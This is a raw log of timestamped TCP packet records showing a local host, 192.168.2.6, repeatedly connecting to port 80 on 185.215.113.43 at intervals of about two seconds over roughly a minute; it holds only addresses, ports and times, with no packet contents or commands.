Sep 25, 2024 10:34:11.419672012 CEST	64716	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:12.922718048 CEST	64716	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:12.923013926 CEST	64717	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:12.927834034 CEST	80	64717	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:12.927946091 CEST	64717	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:12.928006887 CEST	80	64716	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:12.928035021 CEST	64717	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:12.928054094 CEST	64716	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:12.932986021 CEST	80	64717	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:13.680540085 CEST	80	64717	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:13.680646896 CEST	64717	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:15.313227892 CEST	64717	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:15.313555002 CEST	64718	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:15.318444014 CEST	80	64718	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:15.318461895 CEST	80	64717	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:15.318531036 CEST	64717	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:15.318546057 CEST	64718	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:15.318676949 CEST	64718	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:15.323565006 CEST	80	64718	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:16.017575979 CEST	80	64718	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:16.017848015 CEST	64718	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:17.532207012 CEST	64718	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:17.532387972 CEST	64719	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:17.537185907 CEST	80	64719	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:17.537280083 CEST	64719	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:17.537373066 CEST	64719	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:17.537533998 CEST	80	64718	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:17.537585020 CEST	64718	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:17.542143106 CEST	80	64719	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:18.231782913 CEST	80	64719	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:18.231925011 CEST	64719	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:19.870521069 CEST	64719	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:19.871278048 CEST	64720	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:19.875657082 CEST	80	64719	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:19.875708103 CEST	64719	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:19.876064062 CEST	80	64720	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:19.876117945 CEST	64720	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:19.879801035 CEST	64720	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:19.884704113 CEST	80	64720	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:20.584520102 CEST	80	64720	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:20.584748030 CEST	64720	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:22.094465971 CEST	64720	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:22.094795942 CEST	64721	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:22.099517107 CEST	80	64720	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:22.099597931 CEST	64720	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:22.099622965 CEST	80	64721	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:22.099701881 CEST	64721	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:22.099838972 CEST	64721	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:22.104856014 CEST	80	64721	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:22.112504959 CEST	64684	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:34:22.117324114 CEST	80	64684	185.215.113.103	192.168.2.6
Sep 25, 2024 10:34:22.803390026 CEST	80	64721	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:22.803483963 CEST	64721	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:24.422930956 CEST	64721	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:24.423248053 CEST	64723	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:24.428118944 CEST	80	64721	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:24.428138018 CEST	80	64723	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:24.428209066 CEST	64723	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:24.428379059 CEST	64723	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:24.430600882 CEST	64721	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:24.433212996 CEST	80	64723	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:25.127147913 CEST	80	64723	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:25.127253056 CEST	64723	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:26.641354084 CEST	64723	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:26.641685963 CEST	64724	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:26.646562099 CEST	80	64724	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:26.646627903 CEST	80	64723	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:26.646655083 CEST	64724	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:26.646687031 CEST	64723	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:26.646858931 CEST	64724	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:26.651586056 CEST	80	64724	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:27.365900993 CEST	80	64724	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:27.365988016 CEST	64724	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:28.986275911 CEST	64724	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:28.986737013 CEST	64725	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:28.991594076 CEST	80	64724	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:28.991609097 CEST	80	64725	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:28.991646051 CEST	64724	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:28.991692066 CEST	64725	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:28.991868019 CEST	64725	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:28.996615887 CEST	80	64725	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:29.711340904 CEST	80	64725	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:29.712641954 CEST	64725	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:31.271173954 CEST	64725	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:31.271632910 CEST	64726	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:31.276335001 CEST	80	64725	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:31.276391983 CEST	64725	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:31.276446104 CEST	80	64726	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:31.276514053 CEST	64726	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:31.276717901 CEST	64726	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:31.281483889 CEST	80	64726	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:31.987761974 CEST	80	64726	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:31.987860918 CEST	64726	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:33.610575914 CEST	64726	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:33.610575914 CEST	64727	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:33.653759956 CEST	80	64727	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:33.653825998 CEST	80	64726	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:33.653947115 CEST	64726	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:33.653950930 CEST	64727	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:33.654233932 CEST	64727	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:33.658994913 CEST	80	64727	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:34.364036083 CEST	80	64727	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:34.364299059 CEST	64727	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:35.876059055 CEST	64727	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:35.876105070 CEST	64728	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:36.032949924 CEST	80	64728	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:36.032963037 CEST	80	64727	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:36.033077002 CEST	64727	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:36.033134937 CEST	64728	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:36.033596039 CEST	64728	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:36.038472891 CEST	80	64728	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:36.727678061 CEST	80	64728	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:36.727745056 CEST	64728	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:38.360187054 CEST	64728	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:38.360693932 CEST	64729	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:38.365647078 CEST	80	64729	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:38.365735054 CEST	80	64728	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:38.365834951 CEST	64729	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:38.365855932 CEST	64728	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:38.365994930 CEST	64729	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:38.370764971 CEST	80	64729	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:39.074352026 CEST	80	64729	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:39.074410915 CEST	64729	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:40.591239929 CEST	64729	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:40.591695070 CEST	64730	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:40.596699953 CEST	80	64729	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:40.596719027 CEST	80	64730	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:40.596755028 CEST	64729	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:40.596807957 CEST	64730	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:40.596977949 CEST	64730	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:40.601768017 CEST	80	64730	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:41.321580887 CEST	80	64730	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:41.321713924 CEST	64730	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:42.956181049 CEST	64730	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:42.956609964 CEST	64731	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:42.961539030 CEST	80	64730	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:42.961601973 CEST	64730	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:42.961935043 CEST	80	64731	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:42.962004900 CEST	64731	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:42.962202072 CEST	64731	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:42.967076063 CEST	80	64731	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:43.653925896 CEST	80	64731	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:43.654902935 CEST	64731	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:45.172768116 CEST	64731	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:45.173166037 CEST	64732	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:45.179063082 CEST	80	64732	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:45.179160118 CEST	64732	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:45.179265976 CEST	64732	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:45.179553032 CEST	80	64731	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:45.179600954 CEST	64731	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:45.184103012 CEST	80	64732	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:45.924170017 CEST	80	64732	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:45.924345970 CEST	64732	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:47.547791958 CEST	64734	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:47.547792912 CEST	64732	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:47.552666903 CEST	80	64734	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:47.552953005 CEST	80	64732	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:47.556581974 CEST	64734	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:47.556588888 CEST	64732	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:47.560499907 CEST	64734	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:47.565303087 CEST	80	64734	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:49.088538885 CEST	80	64734	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:49.088613033 CEST	64734	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:49.088684082 CEST	80	64734	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:49.088718891 CEST	64734	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:49.089701891 CEST	80	64734	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:49.089740992 CEST	64734	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:49.500814915 CEST	80	64734	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:49.500868082 CEST	64734	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:50.604880095 CEST	64734	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:50.605287075 CEST	64735	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:50.659179926 CEST	80	64735	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:50.659255981 CEST	64735	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:50.659303904 CEST	80	64734	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:50.659358025 CEST	64734	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:50.659518003 CEST	64735	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:50.667243958 CEST	80	64735	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:51.384077072 CEST	80	64735	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:51.384140015 CEST	64735	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:53.017215014 CEST	64735	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:53.017626047 CEST	64736	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:53.326584101 CEST	64735	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:53.550246000 CEST	80	64736	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:53.551330090 CEST	80	64735	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:53.551436901 CEST	80	64735	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:53.551472902 CEST	64736	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:53.551620960 CEST	64735	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:53.551836014 CEST	64736	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:53.558078051 CEST	80	64736	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:54.441241026 CEST	80	64736	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:54.444601059 CEST	64736	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:54.654522896 CEST	80	64736	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:54.654594898 CEST	64736	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:55.954178095 CEST	64736	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:55.956510067 CEST	64738	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:55.959544897 CEST	80	64736	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:55.959625959 CEST	64736	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:55.961416960 CEST	80	64738	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:55.961508989 CEST	64738	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:55.961628914 CEST	64738	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:55.966423035 CEST	80	64738	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:56.657454014 CEST	80	64738	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:56.657533884 CEST	64738	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:58.282280922 CEST	64738	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:58.287512064 CEST	64739	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:58.287544966 CEST	80	64738	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:58.287625074 CEST	64738	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:58.292406082 CEST	80	64739	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:58.296659946 CEST	64739	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:58.299513102 CEST	64739	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:34:58.304608107 CEST	80	64739	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:58.997339964 CEST	80	64739	185.215.113.43	192.168.2.6
Sep 25, 2024 10:34:58.997405052 CEST	64739	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:00.500848055 CEST	64739	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:00.501132965 CEST	64740	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:00.507438898 CEST	80	64740	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:00.507766962 CEST	64740	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:00.507788897 CEST	64740	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:00.507896900 CEST	80	64739	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:00.508260012 CEST	64739	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:00.514934063 CEST	80	64740	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:01.349664927 CEST	80	64740	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:01.349720001 CEST	64740	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:02.969702005 CEST	64740	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:02.970005989 CEST	64741	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:02.975517988 CEST	80	64741	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:02.975580931 CEST	64741	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:02.975737095 CEST	64741	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:02.976280928 CEST	80	64740	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:02.976329088 CEST	64740	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:02.981010914 CEST	80	64741	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:03.680735111 CEST	80	64741	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:03.680839062 CEST	64741	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:05.190687895 CEST	64741	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:05.191231966 CEST	64742	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:05.195698977 CEST	80	64741	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:05.195745945 CEST	64741	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:05.196001053 CEST	80	64742	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:05.196057081 CEST	64742	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:05.196363926 CEST	64742	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:05.201143980 CEST	80	64742	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:05.926621914 CEST	80	64742	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:05.926855087 CEST	64742	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:07.548104048 CEST	64742	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:07.548861027 CEST	64743	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:07.732383013 CEST	80	64743	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:07.732397079 CEST	80	64742	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:07.732815981 CEST	64743	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:07.732815981 CEST	64743	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:07.732816935 CEST	64742	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:07.737615108 CEST	80	64743	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:10.038031101 CEST	80	64743	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:10.038094044 CEST	80	64743	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:10.038131952 CEST	80	64743	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:10.038206100 CEST	64743	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:10.038252115 CEST	64743	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:10.038448095 CEST	80	64743	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:10.038813114 CEST	64743	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:11.548892021 CEST	64743	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:11.549240112 CEST	64744	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:11.554090023 CEST	80	64743	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:11.554138899 CEST	80	64744	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:11.554307938 CEST	64744	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:11.554435015 CEST	64744	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:11.554783106 CEST	64743	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:11.559319019 CEST	80	64744	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:12.384273052 CEST	80	64744	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:12.386632919 CEST	64744	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:14.016530037 CEST	64744	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:14.016835928 CEST	64745	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:14.326704025 CEST	64744	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:14.357861042 CEST	80	64745	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:14.357872963 CEST	80	64744	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:14.358050108 CEST	64745	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:14.358144999 CEST	80	64744	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:14.358572006 CEST	64745	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:14.358686924 CEST	64744	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:14.363997936 CEST	80	64745	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:15.128725052 CEST	80	64745	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:15.128787994 CEST	64745	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:16.643098116 CEST	64745	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:16.643506050 CEST	64746	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:17.177532911 CEST	80	64746	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:17.177546024 CEST	80	64745	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:17.177705050 CEST	64745	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:17.177705050 CEST	64746	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:17.177881956 CEST	64746	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:17.182648897 CEST	80	64746	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:18.574829102 CEST	80	64746	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:18.575323105 CEST	64746	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:18.575447083 CEST	80	64746	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:18.575536966 CEST	80	64746	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:18.575608969 CEST	64746	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:18.575608969 CEST	64746	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:19.938577890 CEST	64746	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:19.943741083 CEST	80	64746	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:19.943859100 CEST	64746	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:20.208554983 CEST	64747	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:20.213655949 CEST	80	64747	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:20.213748932 CEST	64747	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:20.213939905 CEST	64747	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:20.218956947 CEST	80	64747	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:20.941566944 CEST	80	64747	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:20.941627026 CEST	64747	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:22.454286098 CEST	64747	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:22.455262899 CEST	64748	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:22.459275961 CEST	80	64747	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:22.459404945 CEST	64747	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:22.460068941 CEST	80	64748	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:22.460206985 CEST	64748	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:22.460431099 CEST	64748	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:22.465161085 CEST	80	64748	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:23.164721966 CEST	80	64748	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:23.164788961 CEST	64748	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:24.799319983 CEST	64748	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:24.799925089 CEST	64749	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:24.804394007 CEST	80	64748	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:24.804461002 CEST	64748	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:24.804733992 CEST	80	64749	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:24.804819107 CEST	64749	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:24.805017948 CEST	64749	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:24.809887886 CEST	80	64749	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:25.505697966 CEST	80	64749	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:25.505781889 CEST	64749	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:27.052707911 CEST	64749	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:27.053415060 CEST	64750	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:27.058851004 CEST	80	64749	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:27.058900118 CEST	64749	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:27.058994055 CEST	80	64750	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:27.059056997 CEST	64750	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:27.059201956 CEST	64750	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:27.066757917 CEST	80	64750	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:27.761306047 CEST	80	64750	185.215.113.43	192.168.2.6
